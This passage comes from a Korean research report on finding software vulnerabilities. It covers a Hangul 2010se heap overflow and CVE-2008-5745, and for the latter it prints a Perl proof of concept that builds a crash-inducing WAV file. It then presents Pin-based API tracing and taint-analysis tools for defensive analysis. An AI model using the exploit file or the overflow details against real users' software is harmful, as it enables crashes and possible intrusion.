격쉘코드의주소로 ( 그림 3-14) 와같이변경되어쉘코드 ( 계산기프로 그램 ) 가실행된다. ( 그림 3-13) JMP ESP 의주소로 EIP 변경 ( 그림 3-14) JMP ESP 에의한쉘코드실행 2. 아래한글 2010se 힙오버플로우취약점 가. 개요 Ÿ Exploit 파일포맷 : HWP 파일 Ÿ 타겟프로그램 : 아래한글 2010se (8.5.8.1340)
나. 취약점발생원인 입력데이터에의해서다음과같이 memcpy 할크기가지정된다. 해당 입력데이터에대하여필터링하는코드가없어할당된메모리보다큰사 이즈의메모리영역이복사되는경우힙오버플로우가발생이된다. \MsDocGroup.DFT+0x34898 -> \MsDocGroup.DFT+0x1f9bf4 : jmp dword ptr [0x1022157c] -> 0x78583e99 (??2@YAPAXI@Z : new) ARG_0 : 0x69a ret : 0xaf57690... \MsDocGroup.DFT+0x348c8 -> \MsDocGroup.DFT+0x1fc3c6 : jmp dword ptr [0x10221558] -> 0x7855ae20 (memcpy) ARG_0 : 0xaf57c81 ARG_0x1 : 0xaefd23b ARG_0x2 : 0xd0 ret : 0xaf57c81 위의결과를볼때 new에의해서할당된메모리영역의범위는 0xaf57690 ~ 0xaf57d24 이다. memcpy의첫번째인자값과세번째인자값을보면복사될메모리의크기를예상할수있다. 복사될메모리의영역은 0xaf57c81 ~ 0xaf57d51로앞에서 new에서할당된메모리영역을벗어나복사가이뤄지는것을확인할수있다. 이는다음과같은입력값의특정바이트에서이뤄지는것을확인할수있다. ( 그림 3-15) 취약 API 와연관성있는입력바이트 해당영역의데이터를조작하면복사될메모리영역의크기를조절할 수있다.
\MsDocGroup.DFT+0x348c8 -> \MsDocGroup.DFT+0x1fc3c6 : jmp dword ptr [0x10221558] -> 0x7855ae20 (memcpy) ARG_0 : 0x567fed9 ARG_0x1 : 0xaf8774b ARG_0x2 : 0xf3 ret : 0x567fed9 3. WAV 파일조작을통한 Windows Media 플레이어 DoS(Crash) 취약점 1) 개요 o CVE : CVE-2008-5745 o Exploit 파일포맷 : WAV( 실제 Exploit 파일내부형식 : MIDI) o 플레이어 : Windows Media Player 9.0(quartz.dll) 2) 취약점발생원인 Windows Media 플레이어에서사용되는 quartz.dll내부의 'DIV ECX' 연산시에연산결과값으로 Integer의경계를벗어나는값이 EAX에저장되어예외가발생된다. EAX 레지스터에 0x9C069720이라는 Integer의경계를벗어나는값이저장된다. 3) 공격성공시영향 취약점에의해발생하는예외에의해 EIP 가변경되지않고, 단순히 Integer Overflow 가일어나는취약점으로플레이어를오류를발생시킨 다. 4) 개념증명코드 (PoC) 취약점보고자에의해보고된개념증명코드는아래 ( 표 3-2) 와같다.
( 표 3-2) SecurityFocus 에등록된개념증명코드 #!/usr/bin/perl use strict; my $wav = "\x4d\x54\x68\x64\x00\x00\x00\x06\x00\x01\x00\x03\x00\xf0\x4d\x54\x72\x6b\x00\x00". "\x00\x21\x00\xff\x51\x03\x0a\x2c\x2a\x00\xff\x58\x04\x02\x02\x18\x08\x00\xff\x03". "\x08\x20\x20\x20\x20\x20\x20\x20\x20\x85\x88\x61\xff\x2f\x00\x4d\x54\x72\x6b\x00". "\x00\x27\x6b\x00\xff\x03\x08\x41\x20\x42\x72\x65\x65\x7a\x65\x00\xc1\x07\x00\x07". "\x82\x69\x91\x43\x3d\x00\x40\x3d\x64\x43\x00\x00\x40\x00\x13\x48\x3f\x00\x3f\x3f". "\x65\x48\x00\x00\x3f\x00\x13\x45\x3f\x29\x45\x00\x13\x44\x3f\x29\x44\x00\x13\x45". "\x65\x29\x45\x00\x13\x47\x3f\x29\x47\x00\x13\x48\x3f\x00\x40\x3f\x81\x21\x48\x00". 중략 "\x34\x51\x65\x34\x00\x13\x40\x51\x00\x3c\x51\x01\x37\x51\x64\x40\x00\x00\x3c\x00". "\x00\x37\x00\x13\x30\x51\x65\x30\x00\x13\x3e\x51\x00\x37\x51\x65\x3e\x00\x00\x37". "\x00\x13\x37\x51\x00\x2b\x51\x81\x5d\x37\x00\x00\x2b\x00\x13\x30\x4f\x00\x24\x4f". "\x65\x30\x00\x00\x24\x00\x81\x0c\x30\x51\x00\x24\x51\x64\x30\x00\x00\x24\x00\x81". "\x0c\xff\x2f\x00\x00"; open(out, "> int-ov.wav"); binmode(out); print (out $wav); close(out); 본취약점의 Exploit 생성 Perl 스크립트만으로는정상적인 mid 파일 포맷에서어떤필드가조작되었는지, 또는공격쉘코드가삽입되었는지 확인하기어렵다.
참고문헌 [1] D. Wagner. J. Foster. E. Brewer. A. Aiken. A First Step Towards Automated Detection of Buffer Overrun Vulnerabilities. NDSS 00. [2] 김유일, 한환수, 버퍼오버플로우검출을위한정적분석도구의현황과전망 [3] Ville Alkkiomaki, Stack Overwriting attacks and defences in unix environment [4]http://www.openrce.org/reference_library/files/reference/Windows%20M emory%20layout,%20user-kernel%20address%20spaces.pdf
제 4 장분석도구설계및구현 제 1 절기반도구설계및구현 아래한글과같은규모가큰프로그램은취약점을발굴하기위한흐름 을디버거등을통해서분석하는데어려움이따른다. 취약점이발생하였 을때, 그흐름을추적하는데일일이루틴을찾아가기어렵기때문이다. ( 그림 4-1) 한글설치폴더에포함된모듈항목따라서취약점을분석하기위해서는각각의모듈에대해흐름을추적하고이를분석하는자동화된루틴이필요하다. 해당루틴은대상프로그램을디버깅하면서필요한정보를수집하여이를실시간으로표시해주거나로그를남겨이를활용하는방향으로쓰인다. 단, 로그를남겨바이너리의흐름을분석하는경우에는이를분석하는도구가같이쓰여야한다. 디버깅을이용하여대상프로그램을흐름을따라가면서로그를남기는작업은상당한양의 I/O를동반하므로오버헤드가큰작업이기도하다. 또한해당로그가클경우이를분석하는데도어려움이따른다. 반드시필요한정보만을추출하여로그에남기거나활용할필요가있다. 자동화된루틴은파일입력이나기타사용자의입력에서시작하여취약
점이발생한경로까지의흐름을분석하여로그에남기고자한다. 이를 이용하면사용자의명령에서부터취약점이발생하는사이의흐름을분석 해내는데용이하게사용할수있다. ( 그림 4-2) 분석모듈의구조 1. 의심 API Trace 도구 입력데이터가시스템명령어로이어질수있는 API를분석하기위해취약점을유발시키는주요 API의인자값을확인하는도구를설계구현한다. 본도구는주요 API의인자값및주요 API를호출하는상위호출을주소를나타낸다. 취약 API 리스트는다음과같다. [ 표 4-1] 취약 API 힙오버플로우 HeapAlloc(), HeapFree(), Malloc(), free(), new(), delete(), memcpy() 스택오버플로우 strcat(), strcpy(), gets(), scanf(), sscanf(), vscanf(), memcpy() vsscanf(), sprintf(), vsprintf(), API Trace 도구는아래그림과같이분기가발생하는지점에 instrumentation 을하여추적하고자하는취약 API 가호출될시스택에 값을체크하여해당정보를로그를남긴다.
( 그림 4-3) 주요 API 호출지점파악 다음은분석도구를통해얻은결과의일부이다. HncGif10.flt + 0xf291 HeapCreate ARG 0 : 0 ARG 0x1 : 0x1000 ARG 0x2 : 0 ret : 0xfc20000 HncGif10.flt + 0x1318f RtlAllocateHeap ARG 0 : 0xfc20000 ARG 0x1 : 0x8 ARG 0x2 : 0x214 ret : 0xfc21e90 HncGif10.flt + 0xaef9 RtlAllocateHeap ARG 0 : 0xfc20000 ARG 0x1 : 0 ARG 0x2 : 0x690 ret : 0xfc220b0 위로그정보는다음과같은구성으로이뤄져있다. 모듈이름 + 상대주소 API 이름 ARG_no : 인자값 (no : 순서 ) ret : 리턴값 위의정보를통해다음과같이주요 API 가호출되는지점과인자값등 을파악할수있다. 지정된 API 이외에도다른 API 를추가하려면 api.h 파일에다음과같이추가를하면해당 API 에대한정보도확인
할수있다. 1. #define API명 "API명" 을추가한다. 2. Initialize 함수에다음과같이추가 - API_INFO API_API명 ( 인자값의개수, 인자값타입 ); - API_INFO_Table.insert(map<string, API_INFO>::value_type( API 명, API_API명 )); ex) #define CreateFileA "CreateFileA" // type : 0000001 API_INFO API_CreateFileA(7,0x1); API_INFO_Table.insert(map<string, API_INFO> ::value_type( CreateFileA, API_CreateFileA)); 2. 특정값 (Magic Value) Trace 도구 입력데이터의흐름을분석하기위해서특정값 (Magic value) 를확인하는도구를설계한다. 본도구는 call 또는 API 호출명령어가발생할때스택값을체크하여특정값이인자 (Argument) 로사용되는지확인하는도구이다. ( 그림 4-4) 인자값체크도구의 instrumentation 지점 문자열을추적하는경우는다음과같이스택에저장되어있는문자열
주소를확인하여해당메모리공간의값을읽어서특정문자열이존재하 는지를체크한다. 상수를확인하는경우는바로스택의값을체크하여 결과를출력한다. HANDLE hnd = GetCurrentProcess(); if (ReadProcessMemory(hnd, (LPVOID)stackValue, buf, sizeof(buf), &readlength )!= 0) { if (strstr((char*)stackvalue, "AAAAA") ) { 다음과같이 call 이발생하였을때스택에서 3 개의인자값을체크하여 원하는값 ( AAAAAAA ) 이있을경우다음과같이로그를남긴다. MSRMfilter03.dll+0x59f1 : call 0x10023d25 -> 0x10023d25 (Filter_Reset) ARG_0 : C:\Program Files\Easy RM to MP3 Converter\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?C ARG_0x1 : 0x990688 ARG_0x2 : 0 이는특정값을추적하는방법으로 taint analysis 보다빠른속도로분 석할수있는장점을지니고있지만중간에연산이발생하면값을추적 이어렵고입력데이터와의연관성파악도어렵다. 3. 호출시퀀스 Trace 도구 본도구는동적분석통해취약점이발생하기까지의흐름을분석하는 과정이다. 이과정에서는취약점이발생한부분까지의흐름을추적하여 이를로그에남긴다. 과정은아래와같다 가. Instrumentation 필터링된모듈에속한모든루틴에핸들러를삽입한다. pin 은해당 프로그램이동작되는중에모듈에루틴이시작과끝에각각핸들러를실
행시킨다. 핸들러는내부에서루틴의인자값들과리턴값을버퍼에저 장한다. 나. 콜시퀀스저장 루틴의실행정보가버퍼에저장되어질때, 버퍼는원형큐로구성되어있으며각스레드별로따로저장되어진다. 버퍼가원형큐로구성되어져있기때문에가장최근에수행되어진루틴의정보만기록에남게된다. 단스레드가생성되거나파괴되어질때마다각각의버퍼가생성또는파괴되어야하고버퍼의크기는분석을시작할때미리정의되어야한다. 이를테면 memcpy 내에서취약점이발생하였을경우 memcpy가발생할때까지의루틴의정보는앞서정의된버퍼의크기만큼분석할수있다. 다. 취약점발생시흐름정보출력 실제취약점이발생할경우위과정에서저장된루틴의흐름정보를로그에남기거나실시간으로표시한다. 이정보를이용하면바이너리에서사용자의명령으로부터프로그램의취약점으로까지의흐름을분석할수있다. 루틴의로그기록을남기는과정은아래의 ( 그림 4-5) 과같다. ( 그림 4-5) 루틴로그기록남기는과정
먼저아래와같은 c 코드를작성하여흐름을추적하고자한다. #include <stdio.h> #include <stdlib.h> char buf[20]; char src[20]; void SideRoutine() {return;} void FinalRoutine() { memcpy(buf,src,20); return; } void Routine_04() { FinalRoutine(); } void Routine_03() { SideRoutine(); Routine_04(); } void Routine_02() { SideRoutine(); Routine_03(); } void Routine_01() { SideRoutine(); Routine_02(); } void main() { Routine_01(); } main() 에서 Routine_01 -> Routine_02 -> Routine_03 -> Routine_04 -> memcpy 로코드의흐름이구성되어지고이흐름을추적하고자한다.
( 그림 4-6) IDA PRO 를통해본위코드의흐름도 아래그림은위흐름을구현한방법을이용하여흐름을추적한것이다. 각각의루틴이름과상대주소그리고인자값들이출력되어나오는것을확인할수있다. 또한마지막으로실행된 memcpy에넘어온인자값들과대상메모리에저장되어있는값들이출력되어있다.
( 그림 4-7) 구현한방법을이용하여출력된결과 다음은상용소프트웨어인아래한글 2010se 에적용해본결과이다. 먼저검증하고자하는내용은 13-121의 MsDocGroup 모듈내에서발생하는힙오버플로우를통해살펴본다. 이힙오버플로우는마이크로소프트의.doc 파일을파싱하는과정에서레코드의길이를고정사이즈로할당하는데발생하는버그로서레코드를위한메모리의크기가 a9로고정되어있어서파일내에서레코드의길이를나타내는바이트를강제로지정할경우오버플로우가발생한다.
( 그림 4-8) doc 파일내에저장된레코드부분 ( 그림 4-8) 에서보면파일의 372A 바이트부분부터레코드들이저장된다. 빨간색으로표시된부분은각레코드들의사이즈를담고있는부분이고파랑색으로표시된부분이각레코드에들어갈내용들의정보이다. 위 5개의레코드는 memcpy 함수를통해아래그림의힙영역에저장된다. ( 그림 4-9) 힙영역내에레코드가저장되는구조 위그림에서각레코드가저장되는사이즈가 0xa9로고정되어있어위파일에서레코드의사이즈값을그이상으로변경할경우오버플로우가발생한다. 위과정을적용하여아래한글 2010se에서의 memcpy가발생하는과정까지의루틴의흐름을분석하는내용을살펴보고자한다. 먼저개념의적용을위해서 MsDocGroup.DFT 모듈내의모든 call과 ret 인스트럭션에서핸들러를삽입하여루틴의흐름을추적하였다.
( 그림 4-10) MsDocGroup 내에서 memcpy 발생까지의콜시퀀스 그림의왼쪽위로그파일을보면각로그파일의루틴마다정보가기 록이되는데그구성은다음과같다. 1) 루틴의이름 2) 루틴의주소 3) 루틴내에서콜이발생한위치 4) 인자값 (3개만출력 ) 해당 memcpy 의경우 MsDocGroup 내에서총 3번의루틴의호출을통해실행되어짐을알수있다. 오른쪽의루틴정보는 IDA pro를이용하여살펴본것으로각각의흐름이정상적으로출력되었는지를확인하는과정이다. 마지막으로로그파일의마지막부분은 memcpy에해당되는인자값 3개와복사하려는부분의메모리의값이기록되어있다. 이는해당파일의특정레코드와일치함을알수있다.
제 2 절입력데이터흐름분석도구 입력데이터의흐름을추적하여입력데이터와취약 API 또는의심코 드의연관성을체크하기위한모듈로다음과같은순서로분석이수행된 다. 1) 입력데이터분석 : 추적하고자하는입력데이터를분석. 본연구에서 는입력데이터를파일로한정하기때문에파일처리 API 를통해입력데 이터를분석한다. 2) 데이터전파 : 입력데이터의흐름을분석하기위해데이터가전파되 는것을체크한다. 3) 데이터분석 : 입력데이터가특정 call 또는 API의인자로사용되는지여부또는입력값에의해프로그램흐름이제어가가능한지여부마지막으로입력데이터와메모리접근연관성 ( 접근위반 ) 에대하여체크한다. 1. 입력데이터분석 데이터흐름을분석하기위해서는추적할데이터를지정하는것이필요하다. 대부분의소프트웨어의취약입력데이터는파일이므로파일을처리하는 API 분석을통해분석시작지점을설정한다. 다수의파일처리윈도우즈 API가존재하지만실제취약점분석을통해본과제에서는다음 3가지의 API를분석한다. [ 표 4-2] 입력데이터분석을위한 API CreateFile SetFilePointer 설명파일이나입출력장치를오픈. 오픈되고있는파일의파일포인터를이동. Ÿ Ÿ Ÿ Ÿ 분석데이터첫번째인자 : 파일이름리턴값 : 파일핸들첫번째인자 : 파일핸들리턴값 : 파일포인터
파일혹은입출력장치 Ÿ 첫번째인자 : 파일핸들 ReadFile 로부터데이터를읽 Ÿ 두번째인자 : 버퍼주소 음. Ÿ 세번째인자 : 읽을크기 1) CreateFile의첫번째인자를체크 ( 추적하고자하는파일선택 ) 2) CreateFile의리턴값전역변수로저장 3) SetFilePointer의첫번째인자를체크하여 2) 에서저장한변수와동일한지체크 4) SetFilePointer의리턴값을통해파일포인터설정 5) ReadFile의첫번째인자를체크하여 2) 에서저장한변수와동일한지체크 6) ReadFile의파일포인터와세번째인자를체크하여파일의인덱스를확인하고두번째인자를체크하여저장버퍼주소를분석시작지점으로설정. 가. CreateFile 첫번째인자체크함수 CreateFile 의첫번째인자값을체크하여추적하고자하는파일이오 픈되는정보를얻는다. VOID checkfilename( ADDRINT ip, ADDRINT esp, UINT32 typeflag ) { ADDRINT retaddr; // 리턴주소 ADDRINT stackvalue= *(ADDRINT *)(esp + 4); // 스택값 ( 첫번째인자주소 ) wchar_t * str_arg; int len; char *buf; // 인자가 unicode 인경우 (CreateFileW) if (typeflag == 1 ) { str_arg= (wchar_t *)(stackvalue); len= wcslen(str_arg); buf= (char *)malloc(sizeof(char) * len); wcstombs(buf, str_arg, len); }
// 인자가 unicode 가아닌경우 (CreateFileA) else if (typeflag == 2) { len = strlen( (char *)stackvalue ); buf = (char *)malloc(sizeof(char) * len); strcpy(buf, (char *)stackvalue ); } if ( strstr( buf, " 파일명 ") ) { retaddr = *(ADDRINT *) esp; cflag = true } free(buf); } CreateFile의리턴값은오픈된파일의핸들로이후파일에서데이터를읽거나파일포인터를이동할때사용이된다. 다음함수와같이 ReadFile API가호출이될때두번째 ( 저장버퍼주소 ), 세번째 ( 읽어들이는데이터크기 ) 인자값을체크하여메모리테이블에입력파일정보를입력한다. VOID readfileset ( ADDRINT ip, ADDRINT esp) { ADDRINT stackvalue = *(ADDRINT *)(esp + 4); if (stackvalue == filehandle ) { ADDRINT fidx = foffset; ADDRINT rbuffer = *(ADDRINT *)(esp + 8); ADDRINT rsize = *(ADDRINT *)(esp + 0xc); } } for (int i = 0; i < rsize; i ++) { memorytable.erase(rbuffer+i); memorytable[rbuffer+i].push_front( fidx + i ); } taintflag = true;
나. SetFilePointer SetFilePointer 를통해현재파일의포인터를구한다. 이는파일에서데이터를읽을때전체를읽어들이는것이아닌파일포인터를이용하여특정위치에서값을읽기때문에해당 API 리턴값을전역변수에저장하여이후파일에서값을읽을때파일오프셋을결정한다. ADDRINT foffset = 0; VOID filepointercheck( ADDRINT esp ) { ADDRINT stackvalue = *(ADDRINT *)(esp + 4); ADDRINT retaddr = *(ADDRINT *) esp; if (stackvalue == filehandle ) { pflag = true; } }... VOID retvalueanalysis(addrint ip, char *disasm, ADDRINT value, ADDRINT instcategory, ADDRINT cnt) { } if (pflag) { } MemTrace<<"[Offset] "<<value<<endl; foffset = value; pflag = false; 다. ReadFile ReadFile 을통해파일에서데이터를읽고해당데이터를메모리에저장을한다. 따라서 ReadFile 가호출될때인자값을분석하여메모리테이블에정보를입력한다. 입력된정보는추후데이터전파에이용이된다.
VOID readfileset ( ADDRINT ip, ADDRINT esp) { ADDRINT stackvalue = *(ADDRINT *)(esp + 4); if (stackvalue == filehandle ) // 추적하고자하는파일핸들 { ADDRINT fidx = foffset; // 현재파일포인터 ADDRINT rbuffer = *(ADDRINT *)(esp + 8); // 저장버퍼 ADDRINT rsize = *(ADDRINT *)(esp + 0xc); // 사이즈 } } for (int i = 0; i < rsize; i ++) { memorytable.erase(rbuffer+i); memorytable[rbuffer+i].push_front( fidx + i ); } taintflag = true; 위와같이 ReadFile 이호출될때첫번째인자인파일핸들을체크 하여추적하고자하는파일인지체크를하고추적하고자하는파일핸들 이라면파일의오프셋을메모리테이블에저장한다. 다음은메모리테이블구조이다. 위의과정에서 ReadFile API 에 의해읽어들인파일데이터정보를다음메모리테이블에저장한다. typedef list<addrint> ilist; typedef struct{ ilist idx; BOOL flag; }_byteidx; map<addrint, ilist> memorytable; map<addrint, _byteidx> regtable; // 메모리 taint 테이블 // 레지스터 taint 테이블 다음과같이해당메모리주소에입력데이터의파일오프셋을메모리 테이블에저장한다. // rsize : 파일에서읽어들이는데이터크기
// rbuffer : 저장버퍼주소 // fidx : 파일포인터 for (int i = 0; i < rsize; i ++) { memorytable[rbuffer+i].push_front( fidx + i ); } 위와같이메모리테이블에입력데이터정보를넣으면다음과같은메모리테이블이구성이된다. 메모리테이블은 STL map 컨테이너를이용한다. 키는메모리주소, 데이터는입력데이터인덱스로구성이되어있다. [ 표 4-3] 메모리테이블키데이터 ( 메모리주소 ) ( 입력데이터인덱스 ) 0x12ff0c 0x23 0x12ff0d 0x24 0x12ff0e 0x25 0x12ff0f 0x26...... 메모리테이블과유사하게레지스터테이블또한다음과같이구성된 다. 키는레지스터데이터는입력데이터인덱스와 taint 여부를체크하 는 flag로구성된구조체로구성되어있다. [ 표 4-4] 레지스터테이블 키 ( 레지스터 ) 데이터입력데이터인덱스 Taint 여부 EAX 0x1, 0x2, 0x3, 0x4 True EBX False ECX 0x33, 0x34, 0x35, 0x36 True EDX False......
2. 입력데이터전파 (Propagation) 분석 x86 명령어의데이터흐름을추적하기위해서는다음과같은조건을만 족해야한다. Ÿ 각각의명령어가가지는의미가명확해야한다. Ÿ 피연산자의유형은식별가능해야한다. Ÿ 각각의명령연산에존재하는모든피연산자는식별가능해야한다. Ÿ 각각의오염된객체는추적이가능하여야한다. 예를들어가장기본적인형태의명령어인 "mov eax, 040h" 를보자. 두개의확실한피연산자 eax와 040h 값을확인할수있다. 도착 (destination) 피연산자는 eax, 소스 (source) 피연산자는 040h이다. 만약소스피연산자인 040h 값이오염소스피연산자라고하면 eax역시오염피연산자값이되고여기에서파생된값들도모두오염된값이된다. 오염분석은탐지를원하는대상을한정하여분석하므로로그기록의양을줄일수있으며데이터유형별정상및이상패턴을식별할수있다. (1) 명령어가가지는의미파악 위와같은조건을만족하기위해서 Pin에서제공하는 API 중 INS_Category 를사용하여명령어가가지는의미를파악한다. 정밀한 taint analysis 도구를구현하기위해서는모든명령어의의미를파악하여야한다. 하지만시간관계상모든명령어의처리할수없어주로많이사용되는명령어에대해의미를파악하고분석한다. UINT32 instcategory = INS_Category(ins); switch(instcategory) { case XED_CATEGORY_DATAXFER: InstructionAnalysis(ins); break;...
case XED_CATEGORY_PUSH: PushInstruction(ins); break; case XED_CATEGORY_POP: PopInstruction(ins); } (2) 피연산자유형식별 다음으로는각피연산자의유형을식별한다. 본연구에서는입력데이터의흐름을추적하기위해메모리, 레지스터, 상수세가지의피연산자의유형만을식별한다. INS_OperandIsMemory(ins, 1) // 메모리 INS_OperandIsReg(ins, 1) // 레지스터 INS_OperandIsImmediate(ins, 1) // 상수 (3) 각명령연산에존재하는피연산자식별 다음으로는각명령연산에존재하는모든피연산자를식별한다. 피연산자는소스피연산자 (Source operand) 와도착피연산자 (Destination operand) 로구분을지을수있다. 피연산자는연산자에따라 Read Only, Write Only, Read & Write 세가지유형으로나뉠수있다. 본연구에서는피연산자에따른연산자유형을 5가지로구분하였다. dst = 도착피연산자 src = 소스피연산자 Ÿ Type 1 dst (Read Only), src (Read Only) ex) test eax, eax cmp eax, ebx code) INS_OperandReadOnly(ins, 0) && INS_OperandReadOnly(ins, opidx) Ÿ Type 2 dst (Write Only), src (Read Only)
ex) mov eax, ebx code) INS_OperandWrittenOnly(ins, 0) && INS_OperandReadOnly(ins, opidx) Ÿ Type 3 dst (Read & Write), src (Read Only) ex) add eax, ebx xor ecx, ebx code) INS_OperandReadAndWritten(ins, 0) && INS_OperandReadOnly(ins, opidx) Ÿ Type 4 dst (Read & Write), src (Read & Write) ex) xchg eax, ebx code) INS_OperandReadAndWritten(ins, 0) && INS_OperandReadAndWritten(ins, opidx) Ÿ Type 5 dst (Read & Write) ex) inc ecx code) INS_OperandReadAndWritten(ins, 0) (4) 오염된객체 ( 데이터 ) 흐름추적 위와같이피연산자및연산자를식별하고이를기반으로입력데이터의흐름을추적한다. 위의연산자타입에따라서 taint 테이블에입력데이터의인덱스를할당또는추가한다. Ÿ Type 2 경우 ( DST (Read Only), SRC (Read Only) ) - 소스피연산자정보를도착피연산자에할당 Ÿ Type 3 경우 ( DST (Read & Write), SRC (Read Only) ) - 소스피연산자와도착피연산자가오염되어있는경우 소스피연산자정보를도착피연산자에추가 Ÿ Type 4 ( DST (Read & Write), SRC (Read & Write) ) - 소스피연산자와도착피연산자정보를교환. 위의 Type 2 와같이데이터를할당하는경우는테이블내에있는기
존의데이터를고려하지않기때문에바로데이터를소스피연산자의정보를삽입을한다. Type 3과같은경우는연산등을통해두개의입력데이터가하나의소스피연산자로할당이될수있기때문에소스피연산자정보를추가를한다. 이와같이명령어하나실행될때마다피연산자를체크하여해당피연산자가 taint되어있는지확인하고해당정보를 taint 테이블에갱신하면서데이터의흐름을체크한다. typedef list<addrint> ilist; typedef struct{ ilist idx; BOOL flag; }_byteidx; map<addrint, ilist> memorytable; map<addrint, _byteidx> regtable; // 메모리 taint 테이블 // 레지스터 taint 테이블 (5) 데이터전파 데이터가전파되는것을체크하기위해서한개의명령어가실행이될 때마다다음과같은과정을수행한다. ( 그림 4-11) 데이터전파순서도
1) 소스피연산자가오염 (taint) 되었는지체크한다. 2-1) 소스피연산자가오염 (taint) 되었을경우 3) 도착피연산자의 taint flag를셋함. 4-1) 명령어가 mov와같은 assign 명령어일경우 5) 도착피연산자테이블에소스피연산자테이블할당. 4-2) 명령어가 add와같이 assign 명령어가아닌경우 5) 도착피연산자테이블에소스피연산자정보추가. 2-2) 도착피연산자가오염되었을경우. 3) 명령어가 mov 와같은 assign 명령어인경우. 4) 도착피연산자를 untaint 함. 3. 로그구조분석 다음은데이터흐름분석도구 (Taint analysis) 에서얻을수있는로그의일부이다. [Open] GOM.EXE+0x20e3 crash1_re.mkv [Read] GOM.EXE+0x2108 0x1 ~ 0x3 [buf]0x13f094 [R] GOM.EXE+0x2112 cmp byte ptr [esp+0x20], 0xff [M] 0x13f094 [V] 0x1a [fo] 0x1 [Offset] 0 [Read] GOM.EXE+0x217b 0x1 ~ 0x5 [buf]0x13f08c GOM.EXE [R] GOM.EXE+0x19e3a3 mov ah, byte ptr [edi] [M] 0x13f08c [V] 0x1a [fo] 0x1 [C] GOM.EXE + 0x13b1 call 0xe42a310 [1] [fo] 0x314 0x313 [2] [fo] 0x316 0x315 위는각각다음과같은의미를지닌다. [Open] GOM.EXE+0x20e3 crash1_re.mkv 흐름을추적하고자하는입력파일을오픈하는 CreateFile API 가호 출되는지점과오픈된파일명을나타낸다.
[Read] GOM.EXE+0x2108 0x1 ~ 0x3 [buf]0x13f094 ReadFile 에의해오픈된파일의내용이메모리에저장되는정보를나타낸다. 주소, 읽을파일의오프셋, 저장버퍼주소순으로출력한다. [R] GOM.EXE+0x19e3a3 mov ah, byte ptr [edi] [M] 0x13f08c [V] 0x1a [fo] 0x1 메모리에있는값을읽는경우해당메모리가입력데이터와연관이있을때해당정보를나타낸다. 주소, 명령어, 접근메모리주소, 읽는값순으로나타내며해당값이파일의몇번째오프셋과관련이있는지를다음라인 [fo] 이후에출력한다. [C] GOM.EXE + 0x13b1 call 0xe42a310 [1] [fo] 0x314 0x313 [2] [fo] 0x316 0x315 다음은 call 명령어의인자값과입력데이터와의연관성정보를나타낸다. 첫번째라인은주소, 명령어순으로출력이되며다음라인부터는 call 명령어의몇번째인자값이파일의몇번째오프셋과연관이있는지를출력한다. [E] 0xc0000005 다. 마지막으로예외 (exception) 가발생하였을때해당예외코드를나타낸 제 3 절입력데이터사용지점분석 1. 입력데이터사용지점분석 입력데이터가특정 call 또는 API 의인자로사용되는지여부또는입 력값에의해프로그램흐름이제어가가능한지여부마지막으로입력데
이터와메모리접근연관성 ( 접근위반 ) 에대하여체크한다. (1) 입력데이터가특정 call 또는 API 의인자로사용되는경우 입력데이터가특정 call 또는취약 API 의인자로사용되는지를확인하 기위해서 call 이발생될때스택값을확인하여 taint 가되었는지체크를 한다. ( 그림 4-12) API 실행시스택구조 VOID CallAnalysis(ADDRINT ip, ADDRINT esp, char * disasm) { PIN_LockClient(); IMG img = IMG_FindByAddress(ip); ADDRINT baseaddr = IMG_StartAddress(img); } if (taintcheckmem(esp)) // 첫번째인자 { checkindex(esp); // 입력바이트확인 } if (taintcheckmem(esp+4)) // 두번째인자 { checkindex(esp+4); } if (taintcheckmem(esp+8)) // 세번째인자 { checkindex(esp+8); } PIN_UnlockClient();
call 명령어가실행될때스택을체크하여 taint 여부를확인하고로그 를남긴다. (2) 입력값이분기주소에영향을미치는경우 입력값에의해프로그램흐름이제어되는것을확인하기위해서는다 음과같이 4 종류의명령어를체크하여야한다. ( 시간제약상, 본과제에 서는 call 만을확인한다.) Ÿ Ÿ Ÿ Ÿ jmp eax jmp dword ptr [eax] call eax call dword ptr [eax] Ÿ call reg 인경우 call reg 인경우는다음과같이레지스터가 taint 되었는지여부만을판단하면입력값에의해프로그램제어흐름이변경되는지확인이가능하다. VOID CallReg(ADDRINT ip, REG reg, char * disasm) { if ( taintcheckreg(reg) ) { MemTrace<<"[C] "<<ip<<" "<<disasm<<endl; checkindexreg(reg); } } (3) 입력값에의해접근메모리주소가결정되는경우 ( 포인터분석 ) 메모리와같은경우는 STL map 컨테이너를사용한다. 키값은메모리 주소이고 value 는입력바이트인덱스이다. map 테이블의키값으로메모
리주소가있는체크하고해당메모리주소가없다면해당메모리는오 염되지않은것으로판단한다. BOOL taintcheckmem(addrint memaddr) { map< ADDRINT, ilist >::iterator FindIter=memoryTable.find( memaddr ); if( FindIter!= memorytable.end() && memorytable[memaddr].size() > 0 ) return true; else return false; } 다음은메모리가몇번째입력바이트로오염되었는지로그를남겨주는코드이다. VOID checkindex(addrint addr) { MemTrace<<"[fo] "; for (list<addrint>::iterator iterpos = memorytable[addr].begin(); iterpos!= memorytable[addr].end(); ++iterpos ) { MemTrace<<*iterPos<<" "; } } MemTrace<<endl; 제 4 절스택구조분석도구 1. Call/Ret 구조분석
스택오버플로우는스택영역에서의프레임의크기가고정되어있을 때, 해당영역보다큰문자열을복사할때리턴될주소값이수정되어 발생되는취약점을의미한다. ( 그림 4-13) 스택구조 본도구에서는 pin 툴을이용하여 call/ret 가명령어가실행되는부분을 후킹하여리턴정보테이블을생성한다. Call 명령어에의해함수가호출이되고반환되는주소가스택에저장이된다. 스택오버플로우가발생시반환되는주소가저장된공간에공격자가입력값이할당된다. 따라서 call/ret 명령어에의한스택의구조를파악하는것은이후스택오버플로우를탐지및분석하는과정에반드시필요하다. Call 명령어가발생하면다음과같이리턴정보테이블에리턴주소가 저장된공간을저장한다. map<addrint, ADDRINT> RetAddrList; // Key : addr-4 ( 리턴주소가저장된스택주소 )
